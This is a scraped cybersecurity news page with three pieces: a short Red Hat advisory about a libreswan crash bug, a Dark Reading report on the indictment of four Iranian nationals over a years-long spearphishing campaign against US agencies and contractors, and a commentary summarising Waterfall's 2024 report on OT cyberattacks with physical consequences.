Fix(es):* libreswan: Missing PreSharedKey for connection can cause crash (CVE-2024-2357)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-2357References:https://access.redhat.com/security/updates/classification/#moderate

Red Hat Security Advisory 2024-1998-03

A state-sponsored hacking team employed a clever masquerade and elaborate back-end infrastructure as part of a five-year info-stealing campaign that compromised the US State and Treasury Departments, and hundreds of thousands of accounts overall.

Source: Joe Quinn via Alamy Stock Photo

An elite team of Iranian state-sponsored hackers successfully infiltrated hundreds of thousands of employee accounts at US companies and government agencies, according to the Feds, as part of a multiyear cyber espionage campaign aimed at stealing military secrets.

The US Departments of Treasury and State are among those compromised in the elaborate campaign, which lasted from 2016 to 2021 according to a US Justice Department indictment unsealed this week. Various defense contractors with high-level security clearances, a New York-based accounting firm, and a New York-based hospitality company were also affected, according to the documents.

In all, more than a dozen entities and hundreds of thousands of employee accounts were compromised in the attacks, including more than 200,000 accounts at the hospitality victim.

**Iran's State-Sponsored, Elaborate Social Engineering Efforts**

Four Iranian nationals — including one alleged member of the government's Islamic Revolutionary Guard Corps (IRGC) Electronic Warfare division — have been indicted for the attacks. The defendants are accused of posing as an Iran-based company that purported to provide "cybersecurity services" in a series of spearphishing overtures to their targets. Their aim was to trick email recipients into clicking on a malicious link that executed an unnamed custom malware and allowed account takeover.

In one case, they managed to allegedly take over an administrator email account at a defense contractor, which they then used to create other unauthorized accounts in order to send spearphishing emails to employees of a different defense contractor and a consulting firm.

In some cases, they also successfully posed as women interested in romantic connections, targeting victims through social media connections. This gambit was also aimed at eventually deploying malware onto victim computers, according to the indictment (PDF).

Both approaches align with Iran's long-standing MO of creating clever social-engineering campaigns to gain targets' confidence. A recent Charming Kitten effort for example involved the creation of an entire phony webinar platform to compromise its targeted victims. In general, Iran-nexus threat actors are "more advanced and more sophisticated by a significant margin" in their social-engineering efforts, according to Steven Adair, co-founder and president of Volexity, speaking after disclosing the Charming Kitten campaign. "It's a level of effort and dedication ... that is definitely different and uncommon."

**The Extent of Data Compromise Is Unclear**

In the campaign revealed this week, once the accounts were compromised, the hacking team allegedly used a complex back-end infrastructure and a custom application called "Dandelion" to manage the attack. Dandelion provided a dashboard that enumerated the victims, their IP addresses, physical locations, Web browsers, and OS; whether they clicked on the malicious spearphishing links; and whether the accounts should be targeted for further activity.

The Justice Department did not publicize many other details on the effort; nor did it reveal whether the state-sponsored attackers were able to access and steal classified data. Thus, the level of compromise they were able to achieve in the five years they lurked within the high-value networks remains unclear.

Unfortunately, jailtime will likely not be on offer in the event of a conviction in the case: Hossein Harooni (حسین هارونی), Reza Kazemifar (رضا کاظمی فر), Komeil Baradaran Salmani (کمیل برادران سلمانی), and Alireza Shafie Nasab (علیرضا شفیعی نسب) all remain at large. The State Department is offering a reward of up to $10 million for information that could help with their apprehension.

**About the Author(s)**

Tara Seals has 20+ years of experience as a journalist, analyst and editor in the cybersecurity, communications and technology space. Prior to Dark Reading, Tara was Editor in Chief at Threatpost, and prior to that, the North American news lead for Infosecurity Magazine. She also spent 13 years working for Informa (formerly Virgo Publishing), as executive editor and editor-in-chief at publications focused on both the service provider and the enterprise arenas. A Texas native, she holds a B.A. from Columbia University, lives in Western Massachusetts with her family and is on a never-ending quest for good Mexican food in the Northeast.

Iran Dupes US Military Contractors, Gov't Agencies in Years-Long Cyber Campaign

Attacks increased by "only" 19% last year. But that number is expected to grow significently.

Andrew Ginter, Vice President of Industrial Security, Waterfall Security Solutions

April 24, 2024

4 Min Read

Source: Nicholas Klein via Alamy Stock Photo

COMMENTARY

Waterfall Security Solutions, in collaboration with ICS Strive, recently released its "2024 Threat Report." The bad news is that, in 2023, there were 68 cyberattacks that took down more than 500 physical operations. The good news (sort of) is that this is only 19% more attacks than the previous year. What's going on? Ransomware attacks with physical consequences are down slightly, hacktivist attacks are constant, and everything else is increasing. The report's authors conclude that the 19% increase is most likely an aberration, and that we'll see an increase closer to 90% to 100% in 2024.

**The Details**

Waterfall's operational technology (OT) security threat report is the most cautious in the industry — it tracks only deliberate cyberattacks that caused physical consequences in building automation, heavy industry, manufacturing, and critical industrial infrastructures in the public record. That is, no private or confidential disclosures. The complete data set for the report is included in its appendix. This means the report is certain to be an underestimate of what's really happening in the world, because the authors report regular confidential disclosures that they cannot include in their counts.

OT incidents since 2010. Source: "2024 Threat Report," Waterfall Security Solutions, in collaboration with ICS Strive

**More Attacks**

In spite of this underestimate, cyberattacks that met the inclusion criteria continue to increase, nearly doubling annually since 2019. This is a big change from 2010–2019, when OT attacks with physical consequences were flat, bouncing around between zero and five attacks annually.

Threat actors. Source: "2024 Threat Report," Waterfall Security Solutions, in collaboration with ICS Strive

What are these attacks? In 24 of 68 cases, there was not enough information in the public record to attribute the attack. Of the remaining, 35 attacks (80%) were ransomware, six (14%) were hacktivists, two were supply chain attacks, and one was attributed to a nation state. The 35 ransomware attacks are down slightly from last year's 41, which is unexpected, given that ransomware attacks on IT networks continue to increase at between 60% to 70% per year, depending on the report. Why? In part, because public reports this year were less detailed, there were many more "unknown" threat actors this year. 

Another factor has to do with the fact that most ransomware attacks that impact physical operations did so only accidentally — either because of "abundance of caution" OT shutdowns, when IT is impaired, or physical operations being dependent on crippled IT infrastructure. In 2023, we saw a material fraction of ransomware criminal groups shift away from encrypting and disabling systems to simply stealing the data and demanding ransoms to destroy the stolen data rather than publish it. With fewer IT systems being crippled through encryption, it looks like fewer OT systems and physical operations are being impaired.

We expect this trend to stabilize in 2024, and for OT impacts due to ransomware to go back to the recently historic norm of nearly doubling annually. Why? Because not all businesses have data they are willing to pay to protect. Such businesses, especially critical infrastructures, may still, however, pay a ransom to restore functionality to crippled systems, so it makes sense that at least some ransomware criminals will not leave money on the table and will continue to cripple servers, in addition to stealing what data they can.

**Supply Chain**

Supply chain attacks with physical consequences showed up this year for the first time in many years. Newag SA was accused of embedding code in its trains to maximize the revenues of authorized repair shops. It is accused of acting to "lock up the train with bogus error codes after some date, or if the train wasn't running for a period of time." Some of the code was found to contain GPS coordinates to confine the behavior to third-party workshops. Newag denies the accusations, blaming "unknown hackers." And in an apparent contractual dispute, ORQA, a manufacturer of first-person view (FPV) virtual reality headsets, had its products locked up by what it describes as a "greedy former contractor."

**Wrapping Up**

There are many other findings in the report: GPS blocking and spoofing is becoming a widespread problem, manufacturing businesses accounted for more than one half of the attacks with outages, hacktivists are targeting critical infrastructures, and there is an alarming batch of near misses, including the many critical infrastructures and utilities  targeted by China's Volt Typhoon "living off the land" campaign. The report also touches on promising new developments on the defensive side, including the Cyber-Informed Engineering Strategy. 

**About the Author(s)**

Vice President of Industrial Security, Waterfall Security Solutions

At Waterfall, Andrew leads a team of experts who work with the world's most secure industrial enterprises. Before Waterfall, he led the development of high-end industrial control system products at Hewlett-Packard, of IT/OT middleware products at Agilent Technologies, and of the world's first industrial SIEM at Industrial Defender. He is the author of two books on industrial / OT cybersecurity, a co-author of the Industrial Internet Security Framework, and a co-author of the UITP report on cybersecurity requirements in rail system tendering. Andrew co-hosts the Industrial Security Podcast and contributes regularly to industrial security standards and best-practice guidance.

Tag

#auth